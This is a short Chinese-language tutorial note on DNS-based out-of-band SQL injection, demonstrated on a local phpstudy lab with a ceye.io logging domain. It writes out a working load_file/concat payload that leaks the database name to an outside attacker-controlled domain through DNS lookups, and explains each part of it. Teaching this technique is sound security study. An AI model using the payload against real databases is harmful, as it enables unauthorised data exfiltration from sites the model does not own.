Dns注入

  • 2019 年 10 月 7 日
  • 筆記

為什麼要使用DNS注入?

盲注跑數據太慢的情況下,可以選擇DNS注入

DNS注入的原理?

域名DNS指向的是我們伺服器的域名,意味著解析域名時需向DNS伺服器查詢。通過遞歸查詢可以獲取資料庫上的資訊。要記住整個域名內的節點標籤被限制在63個字元長度大小。

使用條件:

1. 有sql注入點

2. 該站點的load_file可以使用

演示:

本地搭建phpstudy環境

然後註冊一個ceye.io的帳號,作為dns注入的平台

用到的東西呢就是下圖中畫圈的

這是一個域名:

分析一下:

Ceye.io 就不用說了,

前面的 xxxx.ceye.io是你的個人域名

Dns注入最後的效果呢就是在xxxx.ceye.io前面顯示你注入的結果。例如:

你得到的資料庫是test

那麼效果則是:test.xxxx.ceye.io

好的,廢話不多說,實例演示

使用到的語句呢就是下面這條:

and if((select load_file(concat('\\',(select database()),'.eq6w9l.ceye.io\abc'))),1,0)

分析一下:

And 就不多說了,連接前後語句嘛!

If(1,2,3)這個函數,裡面是三個條件,如果1這個位置是true那麼執行2位置語句,否則執行3位置語句。

我們都知道,load_file是可以讀取文件的,那麼,我們把這個文件換成可執行的語句呢?

再說一個小知識點,\xxxxx.xxxxxx

如果說我們在下圖位置寫這個東西呢,就會執行這個後面的域名吧!

同理,你在load_file中寫這個也是會執行的,所以就利用這個特點進行的dns注入。

'\\',(select database()),'.eq6w9l.ceye.io\abc'

首先前面的\\實際上是兩個其中兩個是作為轉義符號來的,然後(select database())是真正的執行語句,然後後面拼接上你的域名,最後面加的\abc,實例發現,後面不加\abc或者\其他字元是無法進行dns注入的,必須加上\abc或者\aaa等等都可以,但是記住一定要加。

Ok,payload已經寫好了,就執行吧!

效果

那麼究竟對不對呢?

我們聯合注入看一下:

Dns注入呢到這裡基本已經算是ok了!

其他的語句也同樣一樣!